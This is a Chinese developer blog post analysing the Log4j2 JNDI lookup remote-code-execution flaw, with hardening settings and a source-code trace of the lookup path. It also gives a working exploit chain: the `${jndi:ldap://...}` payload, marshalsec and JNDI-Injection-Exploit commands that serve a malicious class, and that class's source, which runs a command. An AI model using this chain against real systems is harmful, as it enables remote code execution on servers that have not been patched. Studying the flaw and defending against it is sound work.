热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

为什么我的payload没用——ApacheLog4j2命令执行漏洞细节分析

 前言Apache Log4j2 2.14.1及以下版本存在命令执行漏洞 加固设置参数:log4j2.formatMsgNoLookups=True修改JVM参数:-Dlog4j2.formatMsg

 

前言

Apache Log4j2 2.14.1及以下版本存在命令执行漏洞

 

加固



  1. 设置参数:
    log4j2.formatMsgNoLookups=True

  2. 修改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true

  3. 系统环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

禁止 log4j2 所在服务器外连

 

利用方式

//被攻击端poc验证代码如下
private static final Logger logger = LogManager.getLogger(log4j.class);
//127.0.0.1替换为恶意ldap(rmi)的服务器地址,字符串前后还可以有任意字符。
//结尾xxx为按照恶意服务器的提示来,marshalsec-0.0.3-SNAPSHOT-all.jar,随便写。JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 按照提示填入即可。
logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");

# 恶意服务器
# marshalsec-0.0.3-SNAPSHOT-all.jar 建ldap服务,ExecTemplateJDK8=恶意class的类名,否则报错。
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8889/#ExecTemplateJDK8"
# marshalsec-0.0.3-SNAPSHOT-all.jar 建rmi服务
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8889/#ExecTemplateJDK8"
# JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 一键建RMI LDAP服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe" -A "127.0.0.1"
# 建立 ExecTemplateJDK8.class 下载HTTP服务器,python 2.7
python.exe -m SimpleHTTPServer 8889

//恶意的ExecTemplateJDK8.class 源码
public class ExecTemplateJDK8 {
public ExecTemplateJDK8() {
}
static {
try {
String var0 = "C:\\Windows\\System32\\calc.exe";
Runtime.getRuntime().exec(var0);
} catch (Exception var1) {
var1.printStackTrace();
}
System.out.println();
}
}

 

生效步骤

执行 log.info(字符串),字符串中包含${jndi:ldap://127.0.0.1:1389/efalpz}
请求恶意LDAP(RMI)服务器获取恶意class的url,请求url下载恶意class。
载入恶意class,执行恶意class。

 

生效条件

必须是log4j 2。logback,log4j 1.x都不行。springboot 2默认使用logback,天然不生效。
trustURLCodebase必须是true。jdk8 221版本后,默认ldap是关闭的。必须手工打开(如下代码),否则不成功。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

所以很多网图,都是生效了前两步,因为没用开trustURLCodebase开关,恶意class不载入执行。

 

log4j2源码分析

以此POC为例子,一路按step in进入下图

在 org.apache.logging.log4j.core.layout.PatternLayout中,i=8进入EL表达式解析${jndi:ldap://127.0.0.1:1389/efalpz}
如果调试springboot 2.5.X是i=14

一路跟踪到MessagePatternConverter中,字符串中的EL表达式,这里可以看到。只要字符串中存在表达即可。
从下图最大红框中可见如果this.noLookps=true,那么就不进入解析了。所以,加固前三条生效也在于此。

其它分析可以略过,除了占字数没用什么用处。值得注意的是在MessagePatternConverter中不只有ldap和rmi,看下图:

红框中的参数均可以触发EL表达式,为后期的bypass提供了条件。
截图还有很多,这里就不再累述了。总结如下
log4j 2在格式化消息时,对传入的日志字符串,会当成EL表达式进行解析,除了${jndi开头以外还有${ctx${lower等等,这就给攻击者提供了控制点。因为开发者处于安全考虑,习惯性的通过日志系统记录来自用户的输入信息。当日志级别大于等于系统设置的log.level的时候,log4j2会解析上述EL表达式,出现${jndi:ldap://url时就访问url指向的恶意服务器,按照其指令载入恶意class并执行。值得注意的就是可以参看”生效条件“一节,并不是打出了dnslog就必然可以getshell。

 

springboot2中再现漏洞

禁用logback,加入log4j 2。可以通过配置pom.xml实现如下


org.springframework.boot
spring-boot-starter-log4j2


org.springframework.boot
spring-boot-starter-web


org.springframework.boot
spring-boot-starter-logging



 

结尾

log4j原意是认为,log字符串是开发者用于标注日志内容,其它错误内容应该在Throwable的异常中体现,但是由于如何打印日志没代码级强制规范,日常开发中往往通过拼接字符串,直接输出变量值到日志,而变量来源于用户输入时,引起了这一漏洞。


推荐阅读
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Skywalking系列博客1安装单机版 Skywalking的快速安装方法
    本文介绍了如何快速安装单机版的Skywalking,包括下载、环境需求和端口检查等步骤。同时提供了百度盘下载地址和查询端口是否被占用的命令。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 欢乐的票圈重构之旅——RecyclerView的头尾布局增加
    项目重构的Git地址:https:github.comrazerdpFriendCircletreemain-dev项目同步更新的文集:http:www.jianshu.comno ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • Android日历提醒软件开源项目分享及使用教程
    本文介绍了一款名为Android日历提醒软件的开源项目,作者分享了该项目的代码和使用教程,并提供了GitHub项目地址。文章详细介绍了该软件的主界面风格、日程信息的分类查看功能,以及添加日程提醒和查看详情的界面。同时,作者还提醒了读者在使用过程中可能遇到的Android6.0权限问题,并提供了解决方法。 ... [详细]
  • Netty源代码分析服务器端启动ServerBootstrap初始化
    本文主要分析了Netty源代码中服务器端启动的过程,包括ServerBootstrap的初始化和相关参数的设置。通过分析NioEventLoopGroup、NioServerSocketChannel、ChannelOption.SO_BACKLOG等关键组件和选项的作用,深入理解Netty服务器端的启动过程。同时,还介绍了LoggingHandler的作用和使用方法,帮助读者更好地理解Netty源代码。 ... [详细]
  • GSIOpenSSH PAM_USER 安全绕过漏洞
    漏洞名称:GSI-OpenSSHPAM_USER安全绕过漏洞CNNVD编号:CNNVD-201304-097发布时间:2013-04-09 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
author-avatar
手机用户2502855257
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有